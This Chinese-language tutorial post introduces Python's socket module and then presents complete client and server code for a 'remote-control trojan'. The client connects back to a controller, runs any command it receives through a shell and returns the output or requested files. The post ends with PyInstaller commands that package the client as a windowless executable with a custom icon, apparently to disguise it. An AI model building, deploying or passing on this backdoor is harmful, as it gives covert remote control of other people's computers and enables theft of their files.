socket — 底层网络接口

socket介绍

  这个模块提供了访问 BSD套接字 的接口。在所有现代 Unix 系统、Windows、macOS 和其他一些平台上可用。

  这个Python接口是用Python的面向对象风格对Unix系统调用和套接字库接口的直译:函数 socket() 返回一个 套接字对象 ,其方法是对各种套接字系统调用的实现。形参类型一般与C接口相比更高级:例如在Python文件 read() 和 write() 操作中,接收操作的缓冲区分配是自动的,发送操作的缓冲区长度是隐式的。

使用方法

创建套接字对象

socket.socket()

对象介绍
1
2
3
4
5
6
7
8
9
import socket

socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)
# 使用给定的地址族、套接字类型和协议号创建一个新的套接字。
# 地址族应为 AF_INET (默认值), AF_INET6, AF_UNIX, AF_CAN, AF_PACKET 或 AF_RDS 之一。
# 套接字类型应为 SOCK_STREAM (默认值), SOCK_DGRAM, SOCK_RAW 或其他可能的 SOCK_ 常量之一。
# 协议号通常为零并且可以省略,或在协议族为 AF_CAN 的情况下,协议应为 CAN_RAW, CAN_BCM, CAN_ISOTP 或 CAN_J1939 之一

# 如果指定了 fileno,那么将从这一指定的文件描述符中自动检测 family、type 和 proto 的值。如果调用本函数时显式指定了 family、type 或 proto 参数,可以覆盖自动检测的值。
示例
1
2
3
4
5
6
7
8
9
10
import socket

# 创建套接字对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
"""
socket.AF_INET: 用于internet进程间通信
socket.AF_UNIX: 用于同一台机器进程间通信
socket.SOCK_STREAM: 流式套接字,主要用于TCP协议
socket.SOCK_DGRAM: 数据包套接字,主要用于UDP协议
"""

socket对象内置方法

函数 描述
socket.accept() 接受一个连接。此 socket 必须绑定到一个地址上并且监听连接。返回值是一个 (conn, address) 对,其中 conn 是一个 的套接字对象,用于在此连接上收发数据,address 是连接另一端的套接字所绑定的地址。
socket.bind(address) 将套接字绑定到 address。套接字必须尚未绑定。( address 的格式取决于地址簇 —— 参见上文)
socket.close() 将套接字标记为关闭。当 makefile() 创建的所有文件对象都关闭时,底层系统资源(如文件描述符)也将关闭。一旦上述情况发生,将来对套接字对象的所有操作都会失败。对端将接收不到任何数据(清空队列数据后)。
socket.connect(address) 连接到 address 处的远程套接字。( address 的格式取决于地址簇 —— 参见上文)
socket.listen([backlog]) 启动一个服务器用于接受连接。如果指定 backlog,则它最低为 0(小于 0 会被置为 0),它指定系统允许暂未 accept 的连接数,超过后将拒绝新连接。未指定则自动设为合理的默认值。
socket.recv(bufsize[, flags]) 从套接字接收数据。返回值是一个字节对象,表示接收到的数据。bufsize 指定一次接收的最大数据量。
socket.send(bytes[, flags]) 发送数据给套接字。本套接字必须已连接到远程套接字。可选参数 flags 的含义与上述 recv() 中的相同。本方法返回已发送的字节数。

远程控制木马

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os.path
import shlex
import socket
import subprocess
import re

ACK = 'ACK'


def send_result_len(result):
if result:
result_len_bytes = str(len(result)).encode('gbk')
print(f'结果长度{result_len_bytes}')
s.send(result_len_bytes)
recv_status = s.recv(1024).decode('gbk')
print(recv_status)
if recv_status == ACK:
print("发送结果")
s.send(result)
return True
return False
else:
s.send('-1'.encode('gbk'))
return False


def get_file_data(path):
str_list = path.split(' ')
if len(str_list) >= 2:
path = str_list[1]
else:
return False
if not os.path.exists(path):
return False
print(path)
with open(path, 'rb') as f:
data = f.read()
return data


def get_cmd_result(command):
stdout_command = subprocess.Popen(
shlex.split(command),
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT
)
return stdout_command.stdout.read()


def exec_cmd(cmd):
if re.search(r'\bsend', command):
result = get_file_data(command)
else:
result = get_cmd_result(command)
send_result_len(result)


def socket_connect(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s


s = socket_connect('127.0.0.1', 8888)
while True:
command = s.recv(1024).decode('gbk')
if command == 'c_exit':
break
exec_cmd(command)

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import socket
import re
import os

ACK = 'ACK'


def get_p_f(string):
str_list = string.split(' ')
filename = str_list[-1].split('\\')[-1].split('/')[-1]
if len(str_list) == 2:
path = ''
else:
path = string.split(' ')[-1].split(filename)[0]
return path, filename


def data_to_picture(path, filename, data):
if not data:
return False
if not os.path.exists(path) and path:
os.makedirs(path)
with open(path+filename, "wb") as f:
print(filename)
f.write(data)
return True


def get_cmd_result(cmd):
conn.send(cmd.encode("gbk"))
result_len = conn.recv(1024)
result_len = int(result_len)
if result_len != -1:
conn.send(ACK.encode("gbk"))
if re.search(r'\bsend ', cmd):
result = conn.recv(result_len)
path, filename = get_p_f(cmd)
if data_to_picture(path, filename, result):
print(f"发送成功!\n路径:{path}{filename}")
else:
print("发送失败!")
else:
result = conn.recv(result_len).decode('gbk')
print(result)
else:
print("未知错误!!")


def socket_connect(host, port):
"""
socket.AF_INET: 用于internet进程间通信
socket.AF_UNIX: 用于同一台机器进程间通信
socket.SOCK_STREAM: 流式套接字,主要用于TCP协议
socket.SOCK_DGRAM: 数据包套接字,主要用于UDP协议
:param host: 主机IP地址
:param port: 主机端口号
:return: socket对象
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
return s


if __name__ == '__main__':
# 创建套接字对象
s = socket_connect('0.0.0.0', 8888)
# 监听端口,并设置最大连接数为5
s.listen(5)
print("等待主机上线...")
conn, addr = s.accept()
print(f"主机{addr[0]}:{addr[1]}已上线!")
while True:
command = input("请输入远程命令:")
if command == "exit":
break
get_cmd_result(command)

打包文件

1
2
3
4
5
pip install pyinstaller		# 安装打包库

pyinstaller -F -w client.py -i Ae.ico --distpath .\trojanHorse # 打包客户端

pyinstaller -F server.py --distpath .\Servers # 打包服务端